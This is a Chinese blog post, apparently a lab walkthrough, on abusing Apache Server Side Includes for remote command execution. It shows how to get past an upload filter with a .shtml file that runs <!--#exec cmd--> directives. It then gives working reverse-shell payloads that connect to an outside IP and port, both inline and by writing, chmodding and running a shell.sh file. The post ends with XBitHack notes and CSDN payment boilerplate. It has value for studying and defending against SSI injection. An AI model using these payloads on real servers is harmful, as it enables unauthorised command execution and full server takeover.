Apache SSI 远程命令执行漏洞

本文讲述了ApacheSSI服务器端包含功能如何被滥用,实现远程命令执行,包括配置步骤、利用SHTML文件上传执行命令以及避免权限问题的方法。同时提到了XBitHack对文件执行权限的影响和常见错误处理。
摘要由CSDN通过智能技术生成

Apache SSI 远程命令执行漏洞

什么是 SSI?

SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.

SSI(服务器端包含)是放置在 HTML 页面中的指令,并在提供页面时在服务器上进行评估。它们允许您将动态生成的内容添加到现有 HTML 页面,而无需通过 CGI 程序或其他动态技术提供整个页面。

Configuring your server to permit SSI

配置服务器以允许 SSI

To permit SSI on your server, you must have the following directive either in your httpd.conf file, or in a .htaccess file:
若要在服务器上允许 SSI,必须在 httpd.conf 文件或 .htaccess 文件中具有以下指令:

Options +Includes

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传 php 后缀的文件。如果目标服务器开启了 SSI 与 CGI 支持,我们可以上传一个 shtml 文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

环境启动后,访问http://your-ip:8080/upload.php,即可看到一个上传表单。

image-20240122162234896

正常上传 PHP 文件是不允许的

image-20240122162241340

我们可以上传一个 shell.shtml 文件:

image-20240122162509537

image-20240122163123852

成功上传后,然后访问 shell.shtml,可见命令已成功执行:

image-20240122163303104

(反弹 shell,拿到权限)

直接反弹 shell 无法直接拿到权限

<!--#exec cmd="bash -i >& /dev/tcp/107.151.244.67/5566 0>&1"-->

image-20240122164958420

创建反弹.sh 文件,给权限,再用/bin/bash 运行

<!--#exec cmd="echo 'bash -i >& /dev/tcp/107.151.244.67/5566 0>&1' > /var/www/html/shell.sh"-->
# 在/var/www/html/目录下创建一个反弹shell命令的shell.sh文件

<!--#exec cmd="chmod +x /var/www/html/shell.sh"-->
# 赋予该文件以执行权限

<!--#exec cmd="/bin/bash /var/www/html/shell.sh"-->
# 执行该文件

image-20240122164648505

image-20240122165332739

关于技术说明

https://httpd.apache.org/docs/2.4/howto/ssi.html
<!--#echo var="DATE_LOCAL" -->

XBitHack 告诉 Apache 解析 SSI 指令的文件(如果它们设置了执行位)。因此,要将 SSI 指令添加到现有页面,而不必更改文件名,只需使用 chmod
chmod +x pagename.html

通常,当您的 SSI 指令出现问题时,您会收到以下消息
[an error occurred while processing this directive]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值